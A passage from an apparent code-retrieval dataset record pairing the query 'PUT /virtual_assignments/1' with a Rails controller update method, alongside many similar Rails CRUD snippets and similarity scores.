oi_category_sections(:board_prep_3)]\n section_ids = board_prep_sections.collect { |s| s.id }\n team_member_list = [@siva_e]\n \n section_selections = {}\n section_ids.each { |id| section_selections[id.to_s] = '0' }\n\n\n # Try accessing from an account that is not a PCB Designer and\n # verify that the user is redirected.\n post(:process_assignments,\n { :category => { :id => @board_prep.id },\n :design => { :id => @mx234a.id },\n :section => section_selections },\n pat_dfm_session)\n assert_redirected_to(:controller => 'tracker', :action => 'index')\n assert_equal(\"You are not authorized to access this page\", flash['notice'])\n \n \n # Verify that a contractor PCB Designer can not access the list.\n post(:process_assignments,\n { :category => { :id => @board_prep.id },\n :design => { :id => @mx234a.id },\n :section => section_selections },\n siva_designer_session)\n assert_redirected_to(:controller => 'tracker', :action => 'index')\n #assert_equal(\"You are not authorized to access this page\", flash['notice'])\n\n end", "def activity_participant_assignment_params\n params.require(:activity_participant_assignment).permit(:cpkfk_user_id, :cpkfk_activity_instance_id, :date_created, :fk_assistant_id)\n end", "def create\n @patient_provider_assignment = PatientProviderAssignment.new(params[:patient_provider_assignment])\n @patient_provider_assignment.patient_id = @patient.id\n\n respond_to do |format|\n if @patient_provider_assignment.save\n flash[:notice] = 'PatientProviderAssignment was successfully created.'\n format.html { redirect_to(@patient) }\n format.xml { render :xml => @patient_provider_assignment, :status => :created, :location => @patient_provider_assignment }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @patient_provider_assignment.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @nxtvisit = Nxtvisit.new(nxtvisit_params)\n\n respond_to do |format|\n if @nxtvisit.save\n format.html { redirect_to @nxtvisit, notice: 'Nxtvisit was successfully created.' }\n format.json { render :show, status: :created, location: @nxtvisit }\n else\n format.html { render :new }\n format.json { render json: @nxtvisit.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @assignments = Assignment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @assignments }\n end\n end", "def index\n @techers_assignments = TechersAssignment.all\n end" ]
[ "0.54020363", "0.539747", "0.53957725", "0.5348445", "0.52971923", "0.52452", "0.52233154", "0.5192308", "0.51903135", "0.51874", "0.51797116", "0.5127008", "0.5074702", "0.5059835", "0.5046715", "0.5032332", "0.503071", "0.5029944", "0.50034195", "0.49964076", "0.49663347", "0.49640965", "0.49616423", "0.49437165", "0.4943016", "0.4915262", "0.49130452", "0.4896295", "0.48870647", "0.48782992", "0.48708454", "0.48680672", "0.48479566", "0.48351964", "0.48349452", "0.4833487", "0.48226586", "0.48141223", "0.48099607", "0.48099607", "0.48099607", "0.48099607", "0.48099607", "0.47980434", "0.47886524", "0.47798038", "0.47744158", "0.47681692", "0.47681615", "0.47601607", "0.47543743", "0.47499117", "0.47487086", "0.47479823", "0.47464997", "0.4744937", "0.47134024", "0.47080296", "0.4700942", "0.46925154", "0.46837965", "0.468111", "0.46758747", "0.4674817", "0.46705958", "0.46683303", "0.46648628", "0.466014", "0.46596822", "0.46567944", "0.4656239", "0.46495107", "0.46490693", "0.4647181", "0.46370527", "0.4635997", "0.46332175", "0.4632814", "0.46314383", "0.4624611", "0.46176127", "0.4616419", "0.46154594", "0.46151963", "0.46131212", "0.46105453", "0.46090245", "0.460652", "0.4604643", "0.46028543", "0.46005973", "0.4595192", "0.4592415", "0.45917842", "0.45877948", "0.45821673", "0.45722386", "0.45698088", "0.4568715", "0.45649177" ]
0.60104024
0
PUT /virtual_assignments/1 PUT /virtual_assignments/1.xml
def update @virtual_assignment = @object vmhost = @virtual_assignment.parent return unless filter_perms(@auth,vmhost,['updater']) vmguest = @virtual_assignment.child return unless filter_perms(@auth,vmguest,['updater']) respond_to do |format| if @virtual_assignment.update_attributes(params[:virtual_assignment]) flash[:notice] = 'VirtualAssignment was successfully updated.' format.html { redirect_to virtual_assignment_url(@virtual_assignment) } format.xml { head :ok } else format.html { render :action => "edit" } format.xml { render :xml => @virtual_assignment.errors.to_xml, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n # Find the assignment and update it\n entry = Relationship.find(params[:id])\n entry.update_attributes(assignment_parameters)\n \n @active=\"assignments\"\n redirect_to \"/manage\"\n end", "def update\n @assignment.status = params[:status]\n @assignment.save!\n head :no_content\n end", "def update\n @task_assignment = TaskAssignment.find(params[:id])\n \n respond_to do |format|\n if @task_assignment.update_attributes(params[:task_assignment])\n format.html { redirect_to(@task_assignment, :notice => 'Task assignment was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @task_assignment.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @vehicle_assignment.update(vehicle_assignment_params)\n format.html { redirect_to @vehicle_assignment, notice: (t 'vehicle_assignments.title')+(t 'actions.updated') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @vehicle_assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @assigned = Assigned.find(params[:id])\n\n respond_to do |format|\n if @assigned.update_attributes(params[:assigned])\n format.html { redirect_to @assigned, notice: 'Assigned was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assigned.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n resource_path = \"/projects/#{project_id}/people/#{id}\"\n Request.put(resource_path, self.to_xml('person'))\n end", "def set_vehicle_assignment\n @vehicle_assignment = VehicleAssignment.find(params[:id])\n end", "def create\n @virtual_assignment = VirtualAssignment.new(params[:virtual_assignment])\n vmhost = Node.find(params[:virtual_assignment][:parent_id])\n return unless filter_perms(@auth,vmhost,['updater'])\n vmguest = Node.find(params[:virtual_assignment][:child_id])\n return unless filter_perms(@auth,vmguest,['updater'])\n\n respond_to do |format|\n if @virtual_assignment.save\n \n format.html { \n flash[:notice] = 'VirtualAssignment was successfully created.'\n redirect_to virtual_assignment_url(@virtual_assignment) \n }\n format.js { \n render(:update) { |page| \n \n page.replace_html 'virtual_assignments', :partial => 'nodes/virtual_assignments', :locals => { :node => @virtual_assignment.virtual_host }\n page.hide 'create_virtual_assignment'\n page.show 'add_virtual_assignment_link'\n }\n }\n format.xml { head :created, :location => virtual_assignment_url(@virtual_assignment) }\n else\n format.html { render :action => \"new\" }\n format.js { render(:update) { |page| page.alert(@virtual_assignment.errors.full_messages) } }\n format.xml { render :xml => @virtual_assignment.errors.to_xml, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @assignmentstatus = Assignmentstatus.find(params[:id])\n\n respond_to do |format|\n if @assignmentstatus.update_attributes(params[:assignmentstatus])\n flash[:notice] = 'Assignment status was successfully updated.'\n format.html { redirect_to(@assignmentstatus) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @assignmentstatus.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n updated = params[:availabilities].keys.map(&:to_i)\n #existing = @person.availabilities.map(&:timeslot_id)\n #new = updated - existing\n #deleted = existing - updated\n #@person.availabilities.delete(deleted.map{|d| @person.availabilities.find_by_timeslot_id(d)})\n @person.availabilities=(updated.map{|t| @person.availabilities.find_or_create_by_timeslot_id(t)})\n flash[:notice] = 'Person was successfully updated.'\n format.html { redirect_to(@person) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @assignment = Assignment.find(params[:id])\n @task = @assignment.task\n @project = @task.project\n\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n flash[:notice] = 'The assignment was successfully updated.'\n format.html { redirect_to project_task_path(@project,@task) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @assignment.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @assignments = args[:assignments] if args.key?(:assignments)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end", "def update!(**args)\n @assignments = args[:assignments] if args.key?(:assignments)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end", "def update!(**args)\n @assignments = args[:assignments] if args.key?(:assignments)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end", "def update\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n flash[:notice] = 'Assignment was successfully updated.'\n format.html { redirect_to(edit_cim_hrdb_person_path(@assignment.person)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @assignment.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n\n authorize! :update, @assignment\n respond_to do |format|\n if @assignment.update(assignment_params)\n format.html { redirect_to project_task_assignments_path(@project,@task), notice: 'Assignment was successfully updated.' }\n format.json { head :no_content }\n else\n url = project_task_assignment_path(@project,@task,@assignment)\n set_users\n @users << @assignment.user\n format.html { render action: 'edit' }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "def approve\n registration = Registration.find(params[:id])\n if (params[:assigned_points].present? || registration.evidence.points)\n registration.update(assigned_points: params[:assigned_points])\n registration.update(approved: true)\n end\n redirect_to :registrations\n end", "def update\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n format.html { redirect_to(event_assignment_url(@assignment), :notice => 'Assignment was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @assignment.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @vdocs_requirement = VdocsRequirement.find(params[:id])\n\t@contract = @vdocs_requirement.contract\n\n respond_to do |format|\n if @vdocs_requirement.update_attributes(params[:vdocs_requirement])\n flash[:notice] = 'VdocsRequirement was successfully updated.'\n format.html { redirect_to(@vdocs_requirement) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vdocs_requirement.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @assignment_special_assignment = Assignment::SpecialAssignment.find(params[:id])\n\n respond_to do |format|\n if @assignment_special_assignment.update_attributes(params[:assignment_special_assignment])\n format.html { redirect_to @assignment_special_assignment, notice: 'Special assignment was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assignment_special_assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @virtual_assignment = @object\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @virtual_assignment.to_xml(:dasherize => false) }\n end\n end", "def update\n @node_incident = NodeIncident.find(params[:id])\n\n respond_to do |format|\n if @node_incident.update_attributes(params[:node_incident])\n format.html { redirect_to @node_incident, :notice => 'Node incident was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @node_incident.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @team = Team.find(params[:id])\n @release = Release.find(params[:release_id]) unless params[:release_id].blank?\n\t @clusters = @team.clusters.find_all_by_release_id(@release.id) unless params[:release_id].blank?\n\t @team_assignments = @clusters.collect { |cluster| cluster.team_assignments.find(:all, :conditions => {:team_id => @team.id, :state_id => cluster.state_id}) }.flatten.uniq unless params[:release_id].blank?\n\t @clusters.each do |c|\n\t\t\tunless params[:cluster][c.id.to_s].nil?\n\t\t\t\tunless params[:cluster][c.id.to_s][:body].blank?\n\t\t\t\t\tc.notes << Note.create(:body => params[:cluster][c.id.to_s][:body], :created_by => current_user)\n\t\t\t\tend\n\t\t\tend \n\t\tend unless params[:release_id].blank?\n\t\n\t\n \[email protected] = params[:team] if admin?\n \t@team_assignments.each do |t| \n \t\tt.attributes = params[:team_assignment][t.id.to_s] if params[:team_assignment][t.id.to_s] \n \t\tt.valid?\n \tend unless params[:release_id].blank?\n respond_to do |format|\n if @team.valid? && (@team_assignments.nil? || @team_assignments.all?(&:valid?))\n \t\[email protected]! if admin?\n \t\t@team_assignments.each do |ta|\n \t\t\tta.updated_by = current_user\n \t\t\tta.auto_promote = true\n \t\t\tta.save!\n \t\tend unless params[:release_id].blank?\n flash[:notice] = 'Team was successfully updated.'\n format.html { redirect_to @release.nil? ? teams_path : release_team_path(@release,@team) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @team.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @virtualmachines = Virtualmachine.find(params[:id])\n\n respond_to do |format|\n if @virtualmachines.update_attributes(params[:virtualmachines])\n flash[:notice] = 'Virtualmachines was successfully updated.'\n format.html { redirect_to(@virtualmachines) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @virtualmachines.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @assignment_status = AssignmentStatus.find(params[:id])\n\n respond_to do |format|\n if @assignment_status.update_attributes(params[:assignment_status])\n format.html { redirect_to @assignment_status, notice: 'Assignment status was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assignment_status.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_vpn_status\n # Request parameters\n mac = params[:mac]\n vpn_status_name = params[:vpn_status]\n vpn_sw = params[:vpn_sw]\n ip = params[:ip]\n viewpoint = params[:viewpoint] || \"Unknown\"\n vpn_status = VpnStatus.find_by_name vpn_status_name\n node = Node.find_or_create_by_id mac.to_i(16)\n node.update_vpn_status vpn_status,ip,vpn_sw,viewpoint\n render status: :created, :text => \"\"\n end", "def update\n @volunteer_task = VolunteerTask.find(params[:id])\n\n respond_to do |format|\n if @volunteer_task.update_attributes(params[:volunteer_task])\n format.html { redirect_to @volunteer_task, notice: 'Volunteer task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @volunteer_task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @assignment.update(assignment_params)\n render json: @assignment, status: :ok\n else\n render json: @assignment.errors, status: :unprocessable_entity\n end\n end", "def solveticket(assigneeid, ticketidxml)\n\n raise ArgumentError.new(\"no assignee is present\") if assigneeid.empty?\n raise ArgumentError.new(\"ticketid is present text provided\") if ticketidxml.empty?\n\n xml = createsolvedticketxml(assigneeid)\n\n begin\n resource = RestClient::Resource.new @hostname, @username, @password\n url = 'tickets/'+ ticketidxml\n httpresponse = resource[url].put xml.to_s, :content_type => 'application/xml', :accept => '*/*'\n processresponse(httpresponse) # call success handler\n rescue => e\n processerror(e) # call error handler\n end\n\n end", "def set_vacation_approver\n @vacation_approver = VacationApprover.find(params[:id])\n end", "def test_should_update_project_via_API_XML\r\n get \"/logout\"\r\n put \"/projects/1.xml\", :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response 401\r\n end", "def update\n @node_rack_node_assignment = @object\n node_rack = @node_rack_node_assignment.node_rack\n return unless filter_perms(@auth,node_rack,'updater')\n node = @node_rack_node_assignment.node\n return unless filter_perms(@auth,node,'updater')\n\n respond_to do |format|\n if @node_rack_node_assignment.update_attributes(params[:node_rack_node_assignment])\n flash[:notice] = 'NodeRackNodeAssignment was successfully updated.'\n format.html { redirect_to node_rack_node_assignment_url(@node_rack_node_assignment) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @node_rack_node_assignment.errors.to_xml, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @task_assignment.update(task_assignment_params)\n format.html { redirect_to @task_assignment, notice: 'Task assignment was successfully updated.' }\n format.json { render :show, status: :ok, location: @task_assignment }\n else\n format.html { render :edit }\n format.json { render json: @task_assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @pending_titles_for_collection = PendingTitlesForCollection.find(params[:id])\n\n respond_to do |format|\n if @pending_titles_for_collection.update_attributes(params[:pending_titles_for_collection])\n format.html { redirect_to(@pending_titles_for_collection, :notice => 'Pending titles for collection was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @pending_titles_for_collection.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n format.html { redirect_to @assignment, :notice => 'Assignment was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @assignment.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n Log.new({user: current_user.user, \n subject: \"user:\"[email protected],\n operation: \"modified access\",\n object: \"table:\"[email protected],\n parameters: \"canGrant:\"[email protected]_grant.to_s\n }).save\n\n respond_to do |format|\n if @assigned.update(assigned_params)\n format.html { redirect_to @assigned, notice: 'Assigned was successfully updated.' }\n format.json { render :show, status: :ok, location: @assigned }\n else\n format.html { render :edit }\n format.json { render json: @assigned.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\r\n @status_task = StatusTask.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @status_task.update_attributes(params[:status_task])\r\n format.html { redirect_to @status_task, notice: 'Status task was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @status_task.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n @assignment = Assignment.find(params[:assignment_id])\n respond_to do |format|\n if @solution.update(solution_params)\n format.html { redirect_to @solution, notice: 'Solution was successfully updated.' }\n format.json { render :show, status: :ok, location: @solution }\n else\n format.html { render :edit }\n format.json { render json: @solution.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_resource\n @assignment = Assignment.find(params[:id])\n authorize @assignment\n end", "def update\n @assigned_project = AssignedProject.find(params[:id])\n\n respond_to do |format|\n if @assigned_project.update_attributes(params[:assigned_project])\n format.html { redirect_to @assigned_project, notice: 'Assigned project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assigned_project.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_assigned\n @assigned = Assigned.find(params[:id])\n end", "def update\n @subtask = Subtask.find(params[:id])\n\n respond_to do |format|\n if @subtask.update_attributes(params[:subtask])\n flash[:notice] = 'Subtask was successfully updated.'\n format.html { redirect_to(@subtask) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subtask.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n format.html { redirect_to @assignment, notice: 'Assignment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n format.html { redirect_to @assignment, notice: 'Assignment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @assigned_owner.update(assigned_owner_params)\n format.html { redirect_to @assigned_owner, notice: 'Assigned owner was successfully updated.' }\n format.json { render :show, status: :ok, location: @assigned_owner }\n else\n format.html { render :edit }\n format.json { render json: @assigned_owner.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n params[:shift].delete(:employee)\n @assignment = Assignment.find(params[:id])\n @assignment.attributes = params[:assignment]\n @assignment.start_date = Chronic.parse(params[:assignment][:start_date])\n @assignment.end_date = Chronic.parse(params[:assignment][:end_date])\n\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to @assignment, notice: 'Assignment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "def assign_vacancy\n @vacancy = Vacancy.find_by_id!(params[:id])\n end", "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end", "def test_should_update_invite_via_API_XML\r\n get \"/logout\"\r\n put \"/invites/1.xml\", :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => '[email protected]',\r\n :user_id => 1 }\r\n assert_response 401\r\n end", "def update\n if @assignment.update(assignment_params)\n render :show, status: :ok\n else\n render json: @assignment.errors, status: :unprocessable_entity\n end\n end", "def update\n set_task\n respond_to do |format|\n if @task.update!(task_params)\n format.html\n format.json { respond_with_bip(@task) }\n end\n end\n end", "def update\n params[:ppt_class][:assigned_ppt_node_hq_server] ||= {}\n params[:ppt_class][:assigned_ppt_node_hq_vserver] ||= {}\n \n \n @ppt_class = PptClass.find(params[:id]) \n respond_to do |format|\n if @ppt_class.update_attributes(params[:ppt_class])\n flash[:notice] = 'Puppet Class was successfully updated.'\n format.html { redirect_to :action => \"edit\", :template => 'reflected/edit' }\n format.xml { head :ok }\n else\n messages = '<ul>Error:'\n @ppt_class.errors.full_messages.each {|msg| messages += '<li>'+msg+'</li>'}\n messages += '</ul>'\n flash[:notice] = messages\n format.html { redirect_to :action => \"edit\", :template => 'reflected/edit' }\n format.xml { render :xml => @ppt_class.errors, :status => :unprocessable_entity }\n end\n \n end\n end", "def update\r\n @project_supervisor = ProjectSupervisor.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @project_supervisor.update_attributes(params[:project_supervisor])\r\n format.html { redirect_to(@project_supervisor, :notice => 'ProjectSupervisor was successfully updated.') }\r\n format.xml { head :ok }\r\n else\r\n format.html { render :action => \"edit\" }\r\n format.xml { render :xml => @project_supervisor.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n task = @task_list.tasks.find(params[:id])\n task.update_attributes(task_params)\n render nothing: true\n end", "def update\n # raise assignment_params.inspect\n respond_to do |format|\n if @assignment.update(assignment_params)\n format.html { redirect_to @assignment, notice: 'Assignment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "def save_to_node\n node.set[:sysctl][:values][@new_resource.name] = @new_resource.value if @new_resource.save == true\nend", "def test_legal_edit_assignment\n @assignment = Assignment.first\n id = Assignment.first.id\n number_of_assignment = Assignment.count\n questionnaire_id = Questionnaire.first.id\n post :update, :id => id, :assignment=> { :name => 'updatedAssignment9',\n :review_questionnaire_id => questionnaire_id,\n :review_of_review_questionnaire_id => questionnaire_id,\n :author_feedback_questionnaire_id => questionnaire_id\n }\n\n assert_equal flash[:notice], 'Assignment was successfully updated.'\n\n assert_response :redirect\n assert_equal Assignment.count, number_of_assignment\n assert Assignment.find(:all, :conditions => \"name = 'updatedAssignment9'\")\n end", "def update\n @node = Node.find(params[:id])\n @title = \"Taxonomy node - organism relationships\"\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n format.html { redirect_to(@node, :notice => 'Node was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put\n if(resource.collection?)\n Forbidden\n elsif(!resource.parent_exists? || !resource.parent_collection?)\n Conflict\n else\n resource.lock_check if resource.supports_locking?\n status = resource.put(request, response)\n response['Location'] = \"#{scheme}://#{host}:#{port}#{url_format(resource)}\" if status == Created\n response.body = response['Location']\n status\n end\n end", "def update\n @vertical = Vertical.find(params[:id])\n\n respond_to do |format|\n if @vertical.update_attributes(params[:vertical])\n format.html { redirect_to(@vertical, :notice => 'Vertical was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vertical.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n format.html { redirect_to @assignment, :notice => 'Assignment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => 'edit' }\n format.json { render :json => @assignment.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @vteam = Vteam.find(params[:id])\n\n respond_to do |format|\n if @vteam.update_attributes(params[:vteam])\n format.html { redirect_to(@vteam, :notice => 'Vteam was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vteam.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @annotation_task = AnnotationTask.find(params[:id])\n\n respond_to do |format|\n if @annotation_task.update_attributes(params[:annotation_task])\n format.html { redirect_to(@annotation_task, :notice => 'Annotation task was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @annotation_task.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n authorize! :manage, @node\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n format.html { redirect_to @node, notice: 'Node was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @node.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!\n @authorize = nil\n update_plan! &&\n resp = put(\"/users/#{username}.xml\", {\n :user_key => apikey,\n \"user[first_name]\" => first_name,\n \"user[last_name]\" => last_name\n })\n end", "def update\n put :update\n end", "def assign_virtual_machine_template\n if params[:virtual_machine_template_id]\n vmt = Atmosphere::VirtualMachineTemplate.find params[:virtual_machine_template_id]\n @appliance_type.virtual_machine_templates << vmt if vmt\n redirect_to [:admin, @appliance_type], notice: 'Appliance Type was successfully updated.'\n else\n render action: 'edit'\n end\n end", "def update\n respond_to do |format|\n name = Server.find(params[:id]).name\n n = Neography::Node.find('servers', 'name', name)\n n.name = server_params[:name]\n n.add_to_index('servers', 'name', server_params[:name]) #TODO: is this necessary?\n if @server.update(server_params)\n format.html { redirect_to @server, notice: 'Server was successfully updated.' }\n format.json { render :show, status: :ok, location: @server }\n else\n format.html { render :edit }\n format.json { render json: @server.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @reserved.update(reserved_params)\n format.html { redirect_to @reserved, notice: 'Reserved was successfully updated.' }\n format.json { render :show, status: :ok, location: @reserved }\n else\n format.html { render :edit }\n format.json { render json: @reserved.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @assign_stage.update(assign_stage_params)\n end", "def update\n @auditflows_flownode = AuditflowsFlownode.find(params[:id])\n\n respond_to do |format|\n if @auditflows_flownode.update_attributes(params[:auditflows_flownode])\n flash[:notice] = 'AuditflowsFlownode was successfully updated.'\n format.html { redirect_to(@auditflows_flownode) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @auditflows_flownode.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @virtual_alias.update(virtual_alias_params)\n format.html { redirect_to @virtual_alias, notice: 'Virtual alias was successfully updated.' }\n format.json { render :show, status: :ok, location: @virtual_alias }\n else\n format.html { render :edit }\n format.json { render json: @virtual_alias.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def update\n @constraint = Constraint.find(params[:id])\n\n respond_to do |format|\n if @constraint.update_attributes(params[:constraint])\n format.html { redirect_to @constraint, notice: 'Constraint was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @constraint.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @node = Node.scopied.find(params[:id])\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n format.html { redirect_to(@node, :notice => 'Node was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @constraint.update(constraint_params)\n format.html { redirect_to @constraint, notice: 'Constraint was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @constraint.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_assignment\n @assignment = Assignment.find(params[:id])\n end", "def set_assignment\n @assignment = Assignment.find(params[:id])\n end", "def set_assignment\n @assignment = Assignment.find(params[:id])\n end", "def set_assignment\n @assignment = Assignment.find(params[:id])\n end", "def set_assignment\n @assignment = Assignment.find(params[:id])\n end", "def set_assignment\n @assignment = Assignment.find(params[:id])\n end", "def set_resident\n @resident = Resident.find(params[:id])\n end", "def index\n @assignments = @user.assignments\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @assignments }\n end\n end", "def update\n @partner_person = PartnerPerson.find(params[:id])\n @title = \"association partner <--> people\"\n\n respond_to do |format|\n if @partner_person.update_attributes(params[:partner_person])\n format.html { redirect_to(@partner_person, :notice => 'PartnerPerson was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @partner_person.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n authorize! :manage, @vspec\n\n respond_to do |format|\n if @vspec.update(vspec_params)\n format.html { redirect_to [@vspec.metric, @vspec], notice: 'Vspec was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @vspec.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @resident.update(resident_params)\n format.html { redirect_to @resident, notice: 'Resident (' + @resident.name + ') was successfully updated.' }\n format.json { render :show, status: :ok, location: @resident }\n else\n format.html { render :edit }\n format.json { render json: @resident.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tasks_person = TasksPerson.find(params[:id])\n\n respond_to do |format|\n if @tasks_person.update_attributes(params[:tasks_person])\n format.html { redirect_to @tasks_person, notice: 'Tasks person was successfully updated.' }\n format.json { head :no_content }\n 